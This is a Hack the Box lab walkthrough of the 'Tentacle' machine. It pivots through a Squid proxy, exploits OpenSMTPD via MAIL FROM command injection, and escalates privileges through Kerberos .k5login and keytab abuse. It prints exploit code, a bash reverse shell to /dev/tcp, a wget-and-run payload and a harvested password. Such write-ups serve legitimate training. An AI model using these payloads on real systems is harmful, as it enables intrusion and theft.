categories: [Hack the Box] tags: [Tentacle] —
Index
- enumeraing
- Proxy Squid
- Exploiting OpenSMTPD 2.0.0
- The powers of Kerberos combined with SSH
- Exploiting the log_backup script
- Kerberos Keytab
enumerating
He! Ho! Let’s go! Starting off with the Nmap TCP scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -p- 10.129.44.237 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-11 14:06 EDT
Nmap scan report for 10.129.44.237
Host is up (0.022s latency).
Not shown: 65347 filtered tcp ports (no-response), 170 filtered tcp ports (admin-prohibited), 15 filtered tcp ports (host-unreach)
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec MIT Kerberos (server time: 2022-07-11 18:10:06Z)
3128/tcp open http-proxy Squid http proxy 4.11
|_http-server-header: squid/4.11
|_http-title: ERROR: The requested URL could not be retrieved
9090/tcp closed zeus-admin
Service Info: Host: REALCORP.HTB
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 211.35 seconds
First thing that stands out to me is port 3128 which is running http-proxy squid. As the name implies this is a web proxy. Port 88 seems to be open. On Windows this would most likely be a domain controller however, it is not a domain controller because it is a Linux machine. It could however be the service that manages Kerberos keys.
First things first, let’s browse to http://10.129.44.237:3128/
It seems the error message contains a hostname and an username. I tried ASREProasting and I did receive a hash, the hash however could not be cracked with Hashcat or John the Ripper, so this feels like a dead end.
I have obtained however, a dns name: realcorp.htb. So we could try to search for subdomains:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~]
└─$ gobuster dns -d realcorp.htb -r 10.129.44.237 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt 1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: realcorp.htb
[+] Threads: 10
[+] Resolver: 10.129.44.237
[+] Timeout: 1s
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
2022/07/11 14:16:04 Starting gobuster in DNS enumeration mode
===============================================================
2022/07/11 14:16:06 [-] Unable to validate base domain: realcorp.htb (lookup realcorp.htb on 192.168.191.2:53: no such host)
Found: ns.realcorp.htb
Found: proxy.realcorp.htb
Found: wpad.realcorp.htb
We got the following dns names:
- ns.realcorp.htb
- proxy.realcorp.htb
- wpad.realcorp.htb
Let’s try some reverse lookups using dig to see the IP addresses:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~]
└─$ dig @10.129.44.237 wpad.realcorp.htb
; <<>> DiG 9.18.0-2-Debian <<>> @10.129.44.237 wpad.realcorp.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21731
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 16fd19f84fc67f59162de0e762dd3387c6622e047dcad02d (good)
;; QUESTION SECTION:
;wpad.realcorp.htb. IN A
;; ANSWER SECTION:
wpad.realcorp.htb. 259200 IN A 10.197.243.31
;; AUTHORITY SECTION:
realcorp.htb. 259200 IN NS ns.realcorp.htb.
;; ADDITIONAL SECTION:
ns.realcorp.htb. 259200 IN A 10.197.243.77
;; Query time: 19 msec
;; SERVER: 10.129.44.237#53(10.129.44.237) (UDP)
;; WHEN: Sun Jul 24 07:56:56 EDT 2022
;; MSG SIZE rcvd: 123
The IP addresses are internal addresses, so we cannot access these directly. However, here is where http-proxy squid comes into play
Proxy Squid
First we need to configure proxychains.conf:
1
2
3
http 10.129.44.237 3128 # External
http 127.0.0.1 3128 # Interface
http 10.197.243.77 3128 # Internal
The first IP is our external proxy, so all traffic that runs through the proxy tunnel will go through the Squid proxy. The second IP routes through the internal interface of the proxy, so now we can reach proxy.realcorp.htb. which is 10.197.243.77 And the third IP is for proxy.realcorp.htb is used to reach the internal network.
Let’s see if we can reach wpad.realcorp.htb.
We see a Forbidden page, which is actually not a bad thing because we can atleast reach the website.
If we browse to wpad.dat we can see some information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
──(kali㉿kali)-[~]
└─$ proxychains curl http://wpad.realcorp.htb/wpad.dat
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 10.129.44.237:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.197.243.31:80 ... OK
function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "realcorp.htb"))
return "DIRECT";
if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0"))
return "DIRECT";
if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0"))
return "DIRECT";
return "PROXY proxy.realcorp.htb:3128";
}
Wpad stands for windows proxy auto discover. Windows searches constatly for wpad.dat to autodetect proxies.
If we look at the wpad.dat file we can see a new subnet that we haven’t seen before: 10.241.251.0-255.255.255.0
Let’s look at the subdomain:
1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ dnsrecon -d realcorp.htb -n 10.129.44.237 -r 10.241.251.0/24 100 ⨯
[*] Performing Reverse Lookup from 10.241.251.0 to 10.241.251.255
[+] PTR srvpod01.realcorp.htb 10.241.251.113
[+] 1 Records Found
We got a new hostname and IP address srvpod01.realcorp.htb 10.241.251.113
Now let’s do a fast Nmap scan. Running a normal Nmap scan will take a very long time because we are routing the traffic through a proxy.
1
2
3
4
5
6
7
8
9
──(kali㉿kali)-[~]
└─$ proxychains nmap -sT -F 10.241.251.113
Nmap scan report for 10.241.251.113
Host is up (0.100s latency).
Not shown: 99 closed tcp ports (conn-refused)
PORT STATE SERVICE
25/tcp open smtp
We see that port 25 is open which is SMTP. Let’s do a more detailed scan to get more information on this port.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ proxychains nmap -Pn -p 25 -sV -sC 10.241.251.113
Nmap scan report for 10.241.251.113
Host is up (0.099s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp OpenSMTPD
| smtp-commands: smtp.realcorp.htb Hello nmap.scanme.org [10.241.251.1], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
Service Info: Host: smtp.realcorp.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
This shows us that they are using OpenSMTPD 2.0.0 and if I remember correctly, there is an exploit for this particular version.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ searchsploit OpenSMTPD
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit) | linux/remote/48038.rb
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit) | linux/local/48185.rb
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution | openbsd/remote/48051.pl
OpenSMTPD 6.6.1 - Remote Code Execution | linux/remote/47984.py
OpenSMTPD 6.6.3 - Arbitrary File Read | linux/remote/48139.c
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution | openbsd/remote/48140.c
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Remote code execution linux/remote/47984.py looks interesting!
1
2
3
4
5
6
7
8
9
──(kali㉿kali)-[~/Documents/Other/HacktheBox/tentacel]
└─$ sudo searchsploit -m linux/remote/47984.py
Exploit: OpenSMTPD 6.6.1 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/47984
Path: /usr/share/exploitdb/exploits/linux/remote/47984.py
File Type: Python script, ASCII text executable
Copied to: /home/kali/Documents/Other/HacktheBox/tentacel/47984.py
Exploiting OpenSMTPD 2.0.0
So what the script does is a command injection in the ‘MAIL FROM’ line. The script will ask for a Ip address, port and payload
it stores the third argument (which is the payload) into the CMD variable as seen below:
1
2
3
4
5
6
7
8
9
if len(sys.argv) != 4:
print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
sys.exit(1)
ADDR = sys.argv[1]
PORT = int(sys.argv[2])
CMD = sys.argv[3]
First it checks the connection by sending an HELO x response
1
2
3
4
5
6
7
8
9
print('[*] OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
print('[!] Error connecting, expected 250')
print('[!] Received: {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
When the connection is succesful it will inject the payload which is stored in the CMD variable into MAIL FROM:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
print('[*] Connected, sending payload')
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
print('[!] Error sending payload, expected 250')
print('[!] Received: {}'.format(str(res)))
print('[!] Exiting...')
sys.exit(1)
print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')
Note that the script sends it to the root user however, we found an email address of the user j.nakazawa.
Let’s first connect to the mail server and see if this user exists:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/Other/HacktheBox/tentacel]
└─$ sudo proxychains nc 10.241.251.113 25 130 ⨯
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 10.129.44.237:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.241.251.113:25 ... OK
220 smtp.realcorp.htb ESMTP OpenSMTPD
HELO x
250 smtp.realcorp.htb Hello x [10.241.251.1], pleased to meet you
MAIL FROM:<;ping -c 1 10.10.15.147;>
250 2.0.0 Ok
RCPT TO:<j.nakazawa@realcorp.htb>
250 2.1.5 Destination address valid: Recipient ok
The user seems to exist. I also checked for the root user but it fails to send an email. So let’s continue with nakazawa.
To make the script work we need to change root:
1
2
3
4
5
6
7
8
9
10
11
print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')
Into j.nakazawa@realcorp.htb:
1
2
3
4
5
6
7
8
9
10
11
print('[*] Payload sent')
s.send(b'RCPT TO:<j.nakazawa@realcorp.htb>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')
Now let’s test the script by sending a ping request back to our local machine. Start a TCPdump listener:
1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Next, run the script with the ping command:
1
2
┌──(kali㉿kali)-[~/Documents/Other/HacktheBox/tentacel]
└─$ sudo proxychains python3 47984.py 10.241.251.113 25 'ping -c 4 10.10.15.147'
Let’s check if TCPdump captured any ICMP traffic:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:28:14.689672 IP tentacle.htb > 10.10.14.43: ICMP echo request, id 30, seq 1, length 64
10:28:14.689697 IP 10.10.14.43 > tentacle.htb: ICMP echo reply, id 30, seq 1, length 64
10:28:15.692096 IP tentacle.htb > 10.10.14.43: ICMP echo request, id 30, seq 2, length 64
10:28:15.692115 IP 10.10.14.43 > tentacle.htb: ICMP echo reply, id 30, seq 2, length 64
10:28:16.693677 IP tentacle.htb > 10.10.14.43: ICMP echo request, id 30, seq 3, length 64
10:28:16.693731 IP 10.10.14.43 > tentacle.htb: ICMP echo reply, id 30, seq 3, length 64
10:28:17.695716 IP tentacle.htb > 10.10.14.43: ICMP echo request, id 30, seq 4, length 64
10:28:17.695735 IP 10.10.14.43 > tentacle.htb: ICMP echo reply, id 30, seq 4, length 64
Sweet! Because we received feedback from the mail server, we can try a reverse shell!
I tried to send a reverse shell directly, however this did not seem to work. My guess is that any use of bad characters gets filtered out, rendering the payload useless. So instead I used a python webserver to get the shell on the target machine.
Let’s create a simple shell-script chimpey.sh:
1
2
3
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.43/443 0>&1
Setup a python webserver:
1
2
3
4
┌──(kali㉿kali)-[~/Documents/Other/HacktheBox/tentacel]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Setup a listener:
1
2
┌──(kali㉿kali)-[~/Documents/Other/HacktheBox/tentacel]
└─$ nc -nlvp 443
And run the script. The next command will get the file with wget, place it into the /dev/shm folder of the target and runs the script with the bash command.
1
2
3
4
5
6
7
8
9
10
11
──(kali㉿kali)-[~/Documents/Other/HacktheBox/tentacel]
└─$ sudo proxychains python3 47984.py 10.241.251.113 25 'wget 10.10.14.43/chimpey1.sh -O /dev/shm/chimpey1.sh; bash /dev/shm/chimpey1.sh'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 10.129.44.237:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.241.251.113:25 ... OK
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done
Ladies and gents: We have our first foothold!
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.43] from (UNKNOWN) [10.129.69.39] 59396
bash: cannot set terminal process group (150): Inappropriate ioctl for device
bash: no job control in this shell
root@smtp:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@smtp:~#
After some enumerating I found a password, stored in the .msmtprc file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@smtp:/home/j.nakazawa# cat .msmtprc
cat .msmtprc
# Set default values for all following accounts.
defaults
auth on
tls on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile /dev/null
# RealCorp Mail
account realcorp
host 127.0.0.1
port 587
from j.nakazawa@realcorp.htb
user j.nakazawa
password sJB}RM>6Z~64_
tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60
I tried to login via ssh with the newfound credentials, but sadly no easy win.
Kinda took me a while to figure this one out, but the alarm bells should have rung when thinking back on port 88. Kerberos on a Linux machine is not uncommon, but it is unusual.
After some Google searching I stumpbled upon this website. I just played around with the idea and it worked! So let’s jump to the next chapter and get that damn flag!
The powers of Kerberos combined with SSH
So my understanding is: you have two authorization systems Kerberos and SSH and each includes features and services the other one lacks. The above mentioned website discusses how to combine the best of both worlds
So why is this method beneficial for us? Well, hear me out. The password did not work using ssh, however ssh kerberos is based on tickets. This opens up a whole new oppertunity because what we can do now is try to create our own ticket with the obtained credentials.
First things first: we need to create a ticket on our local machine so install the following package:
1
2
$ apt search krb5
$ sudo apt install krb5-user
The next step is to configure the /etc/krb5.conf file.
Change libdefaults to the following:
1
2
[libdefaults]
default_realm = REALCORP.HTB
Add srv01.realcorp.htb to realms:
1
2
3
4
5
6
[realms]
REALCORP.HTB = {
kdc = srv01.realcorp.htb
kdc = kerberos.mit.edu
kdc = kerberos-1.mit.edu
kdc = kerberos-2.mit.edu:88
And finally add the following to domain realm (not sure if this part is needed).
1
2
3
[domain_realm]
.realcorp.htb = REALCORP.HTB
realcorp.htb = REALCORP.HTB
Make sure to add 10.241.251.113 srv01.realcorp.htb to your etc/hosts file.
Next thing we need to do is request a ticket granted ticket (TGT). We can use the command kinit to renew our kerberos ticket:
1
2
3
──(kali㉿kali)-[~]
└─$ kinit j.nakazawa
Password for j.nakazawa@REALCORP.HTB:
Use the password we have obtained earlier on.
You may notice nothing happened, but we can actually see if the ticket is granted using klist:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ klist 1 ⨯
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: j.nakazawa@REALCORP.HTB
Valid starting Expires Service principal
07/30/2022 11:57:14 07/31/2022 11:57:14 krbtgt/REALCORP.HTB@REALCORP.HTB
Oh boy, oh boy, are you getting exited? I am! Let’s try to login with ssh:
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ ssh j.nakazawa@10.129.105.158
Activate the web console with: systemctl enable --now cockpit.socket
Last failed login: Sat Jul 30 17:14:41 BST 2022 from 10.10.14.53 on ssh:notty
There were 20 failed login attempts since the last successful login.
Last login: Thu Dec 24 06:02:06 2020 from 10.10.14.2
[j.nakazawa@srv01 ~]$ id
uid=1000(j.nakazawa) gid=1000(j.nakazawa) groups=1000(j.nakazawa),23(squid),100(users) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[j.nakazawa@srv01 ~]$
Aaaah yeah, it’s our first flag!
1
2
3
4
5
[j.nakazawa@srv01 ~]$ ls
user.txt
[j.nakazawa@srv01 ~]$ cat user.txt
3c67ae9ad324[...]
If your ssh connection seems to fail, make sure srv01.realcorp.htb is set as the first host in your etc/hostS file. I don’t know why but it didn’t work for me when my first host was tentacle.htb.
Exploiting the log_backup script
After some enumerating one eternity later I found a log_backup.sh script, using cat /etc/crontab.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[j.nakazawa@srv01 ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * admin /usr/local/bin/log_backup.sh
So let’s have a looksey:
1
2
3
4
5
6
7
8
[j.nakazawa@srv01 ~]$ cat /usr/local/bin/log_backup.sh
#!/bin/bash
/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log
/usr/bin/rm -f access.log cache.log
The script seems to be using rsync to copy all the files from /var/log/squid/ to /home/admin/ and then create an archive using tar.
Let’s see if we have any permissions to /var/log/squid:
1
2
3
[j.nakazawa@srv01 tmp]$ ls -ld /var/log/squid/
drwx-wx---. 2 admin squid 41 Jul 30 17:30 /var/log/squid/
We can see you need to be the admin user or you need to be part of the squid group. Use the following command to check if we are part of the squid group:
1
2
3
[j.nakazawa@srv01 tmp]$ id
uid=1000(j.nakazawa) gid=1000(j.nakazawa) groups=1000(j.nakazawa),23(squid),100(users) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Would you look at that… it seems we are!
Grant permissions with kerberos .k5login file
So what can we do now? Well, with ssh Kerberos it is actually possible to grant someone else access to your account via Kerberos. To grant other users access we need to create a .k5login file. In this file you can list different Kerberos principals, in our case j.nakazawa. This will basically give the principals added to that list permission to authenticate with their tickets as the user that stored the .k5login file in his/her home directory.
In this scenario the log_backup.sh script copies files to the /home/admin/ directory. What we can do is create a k5login file that contains the j.nakazawa user and add it to the admin’s home directory.
Let’s write a simple .k5login file and store it in the /var/log/squid directory:
1
2
3
4
5
[j.nakazawa@srv01 /]$ echo "j.nakazawa@REALCORP.HTB" > /var/log/squid/.k5login
[j.nakazawa@srv01 /]$ cd /var/log/squid/
[j.nakazawa@srv01 squid]$ cat .k5login
j.nakazawa@REALCORP.HTB
Now if the next cron triggers, it will add the file to the /home/admin directory, as we have seen in the log_backup.sh script. Because the .k5login file is stored in the admin’s home directory, our j.nakazawa user can get access as the admin user:
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ ssh admin@realcorp.htb
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Sat Jul 30 17:38:01 2022
[admin@srv01 ~]$ id
uid=1011(admin) gid=1011(admin) groups=1011(admin),23(squid) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[admin@srv01 ~]$
YAAAAAAAAAAAAAAAASH we are the admin user!
BUUUUUUUUUUUUUT we are still not there yet!
Kerberos Keytab
After some enummerating, I noticed that I was able to read krb5.keytab. This file is only readable by the admin or root user:
1
2
3
[admin@srv01 etc]$ ls -la /etc/krb5.keytab
-rw-r-----. 1 root admin 1403 Dec 19 2020 /etc/krb5.keytab
I found some more information about keytab on this website. Keytab is a file that stores keys for principals.
To see the list of principals we can use klist -k:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
�[admin@srv01 etc]$
[admin@srv01 etc]$ klist -k
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
2 host/srv01.realcorp.htb@REALCORP.HTB
2 host/srv01.realcorp.htb@REALCORP.HTB
2 host/srv01.realcorp.htb@REALCORP.HTB
2 host/srv01.realcorp.htb@REALCORP.HTB
2 host/srv01.realcorp.htb@REALCORP.HTB
2 kadmin/changepw@REALCORP.HTB
2 kadmin/changepw@REALCORP.HTB
2 kadmin/changepw@REALCORP.HTB
2 kadmin/changepw@REALCORP.HTB
2 kadmin/changepw@REALCORP.HTB
2 kadmin/admin@REALCORP.HTB
2 kadmin/admin@REALCORP.HTB
2 kadmin/admin@REALCORP.HTB
2 kadmin/admin@REALCORP.HTB
2 kadmin/admin@REALCORP.HTB
We can see that our user is also kadmin that has admin and change password privileges. This means that we can add principals to the keytab file.
For more information about kadmin go to this website
Run the following to run the kadmin console:
1
2
3
4
[admin@srv01 etc]$ kadmin -kt /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
Couldn't open log file /var/log/kadmind.log: Permission denied
Authenticating as principal kadmin/admin@REALCORP.HTB with keytab /etc/krb5.keytab.
Now lets add a new principal and give it an easy password:
1
2
3
4
5
6
kadmin: add_principal root
No policy specified for root@REALCORP.HTB; defaulting to no policy
Enter password for principal "root@REALCORP.HTB":
Re-enter password for principal "root@REALCORP.HTB":
Principal "root@REALCORP.HTB" created.
What we can do now is exit out of kadmin console and run ksu. What ksu does is running su using Kerberos:
1
2
3
4
5
6
7
8
9
10
kadmin: exit
[admin@srv01 etc]$ ksu
WARNING: Your password may be exposed if you enter it here and are logged
in remotely using an unsecure (non-encrypted) channel.
Kerberos password for root@REALCORP.HTB: :
Authenticated root@REALCORP.HTB
Account root: authorization for root@REALCORP.HTB successful
Changing uid to root (0)
[root@srv01 etc]#
And there it is! Now let’s get that last flag!
1
2
3
4
5
[root@srv01 etc]# cd /root
[root@srv01 ~]# ls
anaconda-ks.cfg root.txt
[root@srv01 ~]# cat root.txt
c97762a4b7e7fe22b[...]
And there you have it! Not an easy box but nevertheless I have learned a lot! :)
See you on the next hacking adventure!